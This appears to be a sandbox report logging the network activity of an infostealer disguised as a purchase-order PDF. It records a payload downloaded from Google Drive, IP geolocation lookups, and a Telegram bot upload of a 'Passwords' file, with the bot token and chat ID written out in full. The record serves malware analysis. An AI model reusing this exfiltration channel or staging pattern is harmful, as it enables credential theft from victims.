Dec 19, 2024 15:30:59.684894085 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:30:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e8c5d1f523c965446131a1ba362c280 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49973	132.226.247.73	80	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 15:31:01.950740099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 19, 2024 15:31:03.239947081 CET	321	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:31:03 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a51d39ffc99cae30a2257abd06f4e604 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	216.58.208.238	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:23 UTC	216	OUT	GET /uc?export=download&id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-19 14:29:23 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 19 Dec 2024 14:29:23 GMT Location: https://drive.usercontent.google.com/download?id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-9ApCNxz-yMfRpIF_TXliHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49720	172.217.17.65	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:25 UTC	258	OUT	GET /download?id=1Fkj4gGqaXE73Hj9YlotqtNXQVxX9XFtG&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-19 14:29:28 UTC	4941	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC65BOpoTfzK7B8xG9jJkuk_aiNy8kFDDoHlP4gYJY4nXa-UrmQ2CRaFGbfgzmsDaWCV6aM21lc Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="TpHZofBPQVl182.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 16 Dec 2024 21:10:03 GMT Date: Thu, 19 Dec 2024 14:29:28 GMT Expires: Thu, 19 Dec 2024 14:29:28 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=OeUg8w== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-19 14:29:28 UTC	4941	IN	Data Raw: ec 22 dc 5c 1a dc 93 97 34 8b b6 f9 e3 83 45 6f 73 3a 4e 22 bf a3 c4 84 8a 16 9c 20 3a e1 0b d5 43 58 3b 6d 93 24 8c 39 f7 c0 08 fd f6 b5 b7 82 20 fd 3f 64 8b aa 93 d4 37 1f b4 7a ee ac 80 d1 3d 08 07 06 2e f3 48 3e 53 9f 41 8a b0 6b 55 43 f3 aa 4b 1a 7a b1 f4 6e e7 de 7c 1d ee 54 a7 10 d9 4e 45 4f 13 37 50 53 7c 95 4c e4 d5 58 fb e3 4b 7e fa 3c 82 50 c5 ff 7d fb c2 9c 1a e2 bb 8b 23 51 65 32 a6 b5 c2 45 f3 0b 18 88 7e ed 05 ea 3f 0a 94 00 5e d8 8c ed ba f6 ce 3a e6 c6 32 8b 82 63 d5 37 5e 30 3c 5b d3 53 ac 42 63 84 37 54 e6 ed c4 e9 48 02 c1 9f 00 be d2 ae 28 f0 21 1a 0a 99 d8 40 5a 58 77 97 fe b9 b2 33 c8 b4 b9 f8 64 3a d0 fb 8b e6 02 84 0a b2 6d f4 16 14 d8 d9 9f 78 fe 24 96 b6 55 bc 2d 2d 2d 46 a4 c8 41 c7 52 87 10 31 b0 a7 f2 d5 97 81 74 5d 54 b3 3b Data Ascii: "\4Eos:N" :CX;m$9 ?d7z=.H>SAkUCKzn\|TNEO7PS\|LXK~<P}#Qe2E~?^:2c7^0<[SBc7TH(!@ZXw3d:mx$U---FAR1t]T;
2024-12-19 14:29:28 UTC	4816	IN	Data Raw: 19 0d 5d dd 3a 07 29 b7 14 48 3d 48 88 16 5d 71 98 18 b2 cb 9b 99 08 2f 05 b1 f0 c3 ba 2c 09 07 93 7a 22 20 ef 7e c2 1b 60 b8 88 53 11 7a 19 e7 6d a2 45 8c 84 69 a7 8f 4f 79 3a 04 61 56 9d 3f 9a fd b2 cb 52 9c 8d 75 43 1b ab bb 7c 8c aa 29 22 0c fb 38 c5 8e cf 65 4c fa 46 22 fd e3 28 4c 6a 35 9b cf bf d8 6f 3d 0d 44 3b 67 67 7c ef 38 63 e9 85 49 8e bd 17 87 d6 43 19 c0 5d 81 b1 6c 0f 6c 5c 5c 9e f1 43 c8 36 4e 05 76 72 9e cc d6 3a 37 3a ee f4 84 09 4a b5 27 72 a5 26 bf 7e f3 3b 83 12 54 2b e2 d9 13 0f e4 7e 81 3e e0 15 33 91 27 a2 47 cc 10 1a 61 24 ff f9 48 bc 26 3d ea cf 28 2f b5 f9 e4 eb 4c 66 53 cd 04 58 0b 6d 2a 3f 00 c3 f5 1a ee 11 7a a8 86 95 1a 0b c1 26 41 19 94 3e 6f 9d 24 d4 7d 65 2b 04 3a 41 25 44 7e d6 6d d4 f0 fa 7c b9 be 5b cc 41 e1 bf 26 09 Data Ascii: ]:)H=H]q/,z" ~`SzmEiOy:aV?RuC\|)"8eLF"(Lj5o=D;gg\|8cIC]ll\\C6Nvr:7:J'r&~;T+~>3'Ga$H&=(/LfSXm*?z&A>o$}e+:A%D~m\|[A&
2024-12-19 14:29:28 UTC	1323	IN	Data Raw: 84 b8 19 1e ef 8c 8c e1 38 32 cb 9f 50 72 72 2d b5 d2 12 23 8a 13 1c 26 80 a3 34 39 31 d8 02 ad 94 f6 5f 88 dd cb a1 70 10 7e 2e c9 34 4d 2b 83 3c a2 05 c6 4d d1 9a ca 27 85 32 0a b2 d2 29 1a da b2 07 27 8d ee 5b c6 e3 ea 88 89 7e 75 e8 0b 1b 8a 78 f6 7b c9 b8 d9 8a 28 c3 69 cb c2 8b 9f e5 3e f4 eb ae 28 c0 f8 d1 ba 23 3b 31 f4 b2 01 e9 fb 7e 70 84 8d c2 1c 1d 9c 1a 98 bd a0 19 78 35 33 47 10 77 60 0c e5 12 b6 f8 8c 80 57 59 29 e3 b0 81 14 4d 75 91 dd fd 88 c3 19 2d e1 68 13 46 0c 34 a8 ed bc 86 e7 96 de b8 39 60 ac b0 69 df 0c 53 dc 7f b3 65 41 49 28 c4 4b 95 71 77 00 5d e1 42 e5 ed b8 a4 f9 fd 42 12 0c 1a 41 e3 38 dc 62 04 03 75 cd 55 34 18 33 df 2b 80 dc d7 62 96 b4 c8 be 76 b3 43 10 44 8e b9 2f 20 f8 bd ed 12 18 19 4b 12 db 61 55 5f 41 0b 5b a1 3c a6 Data Ascii: 82Prr-#&491_p~.4M+<M'2)'[~ux{(i>(#;1~px53Gw`WY)Mu-hF49`iSeAI(Kqw]BBA8buU43+bvCD/ KaU_A[<
2024-12-19 14:29:28 UTC	1390	IN	Data Raw: b8 d7 02 1a 98 f3 c0 f3 37 c8 3a 95 02 19 32 1d e2 61 e1 27 81 0b df 9b 70 ee 3e 97 ce 88 51 23 5a e9 bd 79 5a 5d a8 36 69 d5 4c 4a 90 a9 19 bb 04 62 f6 4a 30 73 ad f4 13 be c6 cc ee 3f 2d a8 3b 08 54 8a 4c 46 df 5b fe 2b a7 23 e5 05 e5 93 ba 49 31 a0 5d fc a5 25 a2 b2 a9 93 e6 a1 0d ad e1 2f 1a 11 4f 01 58 66 d8 4f 94 c4 8f b4 dc 22 82 f2 dd 99 e0 1b 26 c9 90 c8 aa a2 79 60 51 b4 84 03 ab c5 1c d5 f2 17 4c 9c c2 2b 66 6d 59 f8 1b 51 68 31 9f 97 bd 9c f7 11 1d c0 90 7b bb 19 1d 14 57 ca a6 39 ca 81 3e 67 bf 4b 75 1a b9 04 74 de 6d 2d dd 0a 12 fc 0f 61 aa c2 b5 f3 46 fe 9f d0 88 7b 65 6e 4e 75 23 26 02 b5 65 9e 6d b2 78 6d 87 af 6f c9 42 9a 35 7b 5d 89 4e ce d6 09 fc 6e 02 30 86 79 7f 90 10 d3 c1 e7 8f b4 50 08 8a 8b de 48 69 82 00 40 29 90 96 8e bb 12 f1 Data Ascii: 7:2a'p>Q#ZyZ]6iLJbJ0s?-;TLF[+#I1]%/OXfO"&y`QL+fmYQh1{W9>gKutm-aF{enNu#&emxmoB5{]Nn0yPHi@)
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: 56 24 cc 83 10 08 e8 f6 58 0e 5e 64 a2 14 af 54 2f 49 dc 6a 25 36 6e e1 01 c2 40 16 16 5e c5 3c 63 71 23 7d 57 d8 a3 88 1c 57 6f 21 01 5d cb 91 93 65 2d 14 bf 86 bf 2b 2c 79 25 dd a4 2e 2a f5 43 d4 03 16 ca 78 53 1b 70 d6 2b 6f 95 02 4e 84 69 a7 2b 58 6a 03 45 76 8c 80 34 00 a6 b2 cb 53 8f 99 1d 48 0e d9 5d 0b da d1 3a 44 0b c1 a8 d1 98 d4 60 dd 09 55 27 e6 c0 00 43 7d a4 bb 1f cc 54 6f c3 06 44 2a 67 76 11 e8 29 7a c1 f0 d2 9d a5 1d c3 5d 43 0e d9 45 90 a6 10 97 b6 4f 4c f6 c3 58 f0 04 23 95 76 63 80 dd dc ad 00 8b df e3 9f 6f 2b a5 b6 1d f2 3f b1 6f e1 45 a5 83 4b 1c 34 9f 05 f1 ef 3a 12 28 f3 03 22 9c 32 cd 52 d6 29 93 1e 39 ff e8 5a dd aa 27 fe ae 1b f9 9d 3d ee 84 d5 75 4c d6 1a 34 06 45 ef 3b 73 5d dd 54 e4 02 77 aa 96 88 6d 0e c1 5c 43 3e ea be 1d Data Ascii: V$X^dT/Ij%6n@^<cq#}WWo!]e-+,y%.CxSp+oNi+XjEv4SH]:D`U'C}ToDgv)z]CEOLX#vco+?oEK4:("2R)9Z'=uL4E;s]Twm\C>
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: a8 18 c8 a0 aa 4f b8 db a5 d0 96 81 fb 08 60 46 7b cf 3e 33 b3 b1 cf 66 e0 26 0f d1 8f 49 81 0f 62 4f 32 7d e6 48 75 89 7b 7a d3 46 53 73 e6 23 15 ff 01 9b bf 79 db 88 0b 19 61 ce 92 e8 9f da 9b cf 0e c0 5d 80 36 68 6f c0 e1 b9 75 bc 14 b8 85 d2 52 ed 64 9a 7a 9e f6 1a d6 eb 4f e8 ab 7c 49 85 0c 48 d8 28 2b b1 76 56 c0 fc 7d 43 42 8f 7e 35 63 d8 e1 3b 80 5d 12 68 4f 43 27 aa 07 97 29 f1 c4 99 21 3f f8 54 62 79 bd 92 b0 75 6a 55 cc d4 c4 af 39 59 ff 35 0e b1 a8 2e 1d 1c 5e 30 ed 4e 52 77 96 25 a8 5b a5 1c d4 8d 20 43 da a2 82 c0 47 e9 7b 4b b0 16 31 d8 8c 8e 1b 7b 05 aa 2a 99 00 45 37 e8 99 d6 48 c7 49 c0 4b 2d ec 35 38 8f 72 59 04 6d 8d 60 9e 64 3f fa 72 b9 ea 7c bd 26 54 0e 33 85 1c cf 91 af 85 86 98 04 dd f9 98 46 c4 0f cf d6 eb 62 8a eb f1 d7 84 1f 5c Data Ascii: O`F{>3f&IbO2}Hu{zFSs#ya]6houRdzO\|IH(+vV}CB~5c;]hOC')!?TbyujU9Y5.^0NRw%[ CG{K1{*E7HIK-58rYm`d?r\|&T3Fb\
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: 19 c4 f7 cc 51 83 4d 49 b0 70 50 b6 eb 9f e8 9b ee 48 87 b7 40 cc 2e 43 b7 58 0c 62 54 35 83 12 8c 62 27 c1 6e 74 8d aa 58 8c 66 05 c7 92 1d f8 d3 ae 28 f6 52 cd 5a dc de 4c 1e 2b 2e 8b 49 f3 a8 50 c8 b4 bf de 6c 55 03 fb 6b e0 17 5f 12 b5 2b e7 11 4a ce d8 9f 70 f6 35 91 c4 3d a0 f3 d8 43 93 a4 e8 47 ca 5a 36 16 43 ce bb b2 a5 f8 74 74 5d 52 a2 3f 9b 3c ba ae d7 86 16 09 89 4e 4e 7f 8e 3a 2e 47 25 30 dc 23 e0 6e d1 a2 03 1a e0 5c 07 88 e6 ad 39 60 ce 8a eb 0c a1 ed ab f1 94 65 8a c5 c1 3f 73 e0 4f a8 f0 41 0b ce 0e 8e ad 11 0a 6a c6 9f ea 2d 11 36 89 78 d2 0f 67 bf c3 13 49 c3 11 67 66 91 aa 18 ae 4a 93 04 be 95 de 8d 88 f6 e1 a1 5a bf f0 47 be 71 5c 2c f5 a2 bc 7e fb 22 04 9e e2 f0 ea 6d 00 cf 94 01 a6 de b2 01 1e 88 ee 4a d1 a1 0a 8d 13 0e 63 c0 ae 1b Data Ascii: QMIpPH@.CXbT5b'ntXf(RZL+.IPlUk_+Jp5=CGZ6Ctt]R?<NN:.G%0#n\9`e?sOAj-6xgIgfJZGq\,~"mJc
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: 0f ad e8 ab a7 d1 30 38 fc 9e 20 5d ed 91 ff 34 54 24 9e 29 d2 eb 8c 76 e8 c3 4d 4d 60 47 97 7c 10 90 91 1d 33 05 a7 f1 fd 75 2a 9e 8f cf 97 f1 be f7 d9 31 e0 b2 c0 55 2a c9 8a 21 cd 0c 8c 81 4b 84 65 88 3b e0 7b 92 c8 4d d1 e9 e4 3d b3 4b 4a fa 5b a9 6e d2 a8 a5 43 83 ca d7 e6 86 28 f1 08 29 75 7c 78 d4 f7 aa 15 b8 1f 21 c0 0b 73 43 f6 c0 e4 91 9f c0 e2 2e 7c 24 45 c1 44 f8 24 f8 31 dc 8a 73 3e f9 88 bc be 52 0b ab 4b 98 68 45 cc 6d 69 7a df ff 63 a0 96 64 23 3b 12 54 63 b5 65 df 18 14 ba c8 61 cb 28 20 1b 1a 38 68 a6 59 4c 2f f6 db 32 b2 27 55 22 d7 3c fc 5c 3b c3 fa c8 bb 19 36 ce 83 9d 96 71 3b a1 91 8d 29 de 4e 01 52 7f d5 ed 9b ef 8d b0 cd 05 ab ac dd 99 e8 9b 34 c9 ea 5b aa ad 68 67 46 62 8c 34 b0 c2 47 d0 cc f7 9e 63 3d 3a 66 c0 90 dd 33 68 63 2b Data Ascii: 08 ]4T$)vMM`G\|3u1U!Ke;{M=KJ[nC()u\|x!sC.\|$ED$1s>RKhEmizcd#;Tcea( 8hYL/2'U"<\;6q;)NR4[hgFb4Gc=:f3hc+
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: 51 ab df 1c 98 4c f8 5d 67 dd ee 0a 88 06 d5 00 78 c5 95 2f 15 63 2a f4 0b cb 57 bc 0f 8d 6b c1 55 49 6c 64 c0 5b c6 3f 9e 70 d1 31 2a 7e 7f 44 24 66 21 ba b6 81 95 45 8e 6f 79 b1 62 bf e9 4c 4f 3a 27 91 90 7b c1 33 10 aa 70 e1 56 9a 7a 58 27 ea c4 e9 ad b5 87 67 ff 45 0a d7 ba 0f 71 e3 be db bb 48 b3 64 4c c8 25 b2 59 41 f8 cc 88 17 1c f4 c8 8f ec a0 9b 4c 18 be 87 a5 7f fa 48 2b 45 8a f2 0f c8 7b 4b 07 50 de ec 11 21 13 3c 3b b7 48 88 1c 5d 78 e4 6e b2 cb c6 98 76 3d 6f b0 f4 eb 21 2c 09 0d d7 a4 2e 21 fd 62 c1 12 73 b8 88 53 28 7a c5 28 7e 98 71 97 5c 69 ad 96 39 4a 31 56 11 7e d9 e2 8d f5 b8 cb 54 b4 75 0b 5b 11 a0 b8 37 9c a0 29 52 1c a0 6e c5 8e c3 7f ba 89 0f 3b ec 96 7e 85 6b 35 9d e9 c4 3b bc 3d 07 51 2a ac 72 04 e7 2b 64 d5 e1 c5 8e bd 15 f9 5f Data Ascii: QL]gx/cWkUIld[?p1~D$f!EoybLO:'{3pVzX'gEqHdL%YALH+E{KP!<;H]xnv=o!,.!bsS(z(~q\i9J1V~Tu[7)Rn;~k5;=Q*r+d_
2024-12-19 14:29:29 UTC	1390	IN	Data Raw: dd 22 ac f9 87 19 da be 16 ba 5e 4a 02 0c 4e 8e b9 2f 0a f8 ae f6 22 12 4e 60 13 db 0b 71 5f 41 0a 5b a3 42 df 73 0e 8d dd 35 76 63 a1 25 e3 91 37 fb 5e e8 20 c9 89 d9 54 b5 92 98 54 5d ec 7a 43 9a db fe 8b 40 21 8d e7 ef 2d 21 6c 3c 66 d2 b2 8c a9 e8 30 fa 8d a5 fd 61 53 ae 1b b6 d5 0f 83 58 1a 41 f8 ed 13 b4 ee d7 d1 af 34 ca a0 7a 77 bb cd a0 dd 85 96 fc 22 60 4e 71 f8 4a 5b bd b0 bf 09 04 26 0f c6 82 43 e2 c0 0b 31 5e 55 d8 27 a0 83 70 6a 4d 1b 5b 62 e0 5d 8e cb f9 eb d0 a6 cd 76 0c 07 6d cc 92 d1 09 f6 92 dd 0e cc 4c b0 c7 2b 69 e8 e2 ca 97 ad 7b cc 9a a1 a1 82 61 91 7d bc 24 8e d6 e1 61 00 a2 6d 4a 82 f4 58 cd 4d c6 bb 60 a2 d2 e7 5d 11 58 ab 07 63 c9 d8 eb 19 ab 58 7d 3d 5c 4a 3c b2 7a 22 bc f1 c5 8c 38 2b f2 3b 9f 52 9d 98 8b d4 7b 5e d5 d0 c4 a4 Data Ascii: "^JN/"N`q_A[Bs5vc%7^ TT]zC@!-!l<f0aSXA4zw"`NqJ[&C1^U'pjM[b]vmL+i{a}$amJXM`]XcX}=\J<z"8+;R{^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49738	104.21.67.152	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:33 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-19 14:29:33 UTC	872	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:29:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 607342 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i2jkBvEqZYbGVw7S%2FvSwHdF0R4143LLNjQRImZrgJzWY8xl73s4C6BtWAfaxohQ1S9vAloQxhrJPTBwdC81jef2qri6b71sigZeq1Lm0xKSZtEGPxDxTqWinkzA5HXvI3wTFjTEd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4815e64a90f793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1511&rtt_var=577&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1880231&cwnd=140&unsent_bytes=0&cid=52bfa74b386b25f3&ts=456&x=0"
2024-12-19 14:29:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49756	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:29:41 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd200fa9571766 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:29:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 30 30 66 61 39 35 37 31 37 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd200fa9571766Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:29:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:29:41 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:29:42 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 35 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19637,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618581,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
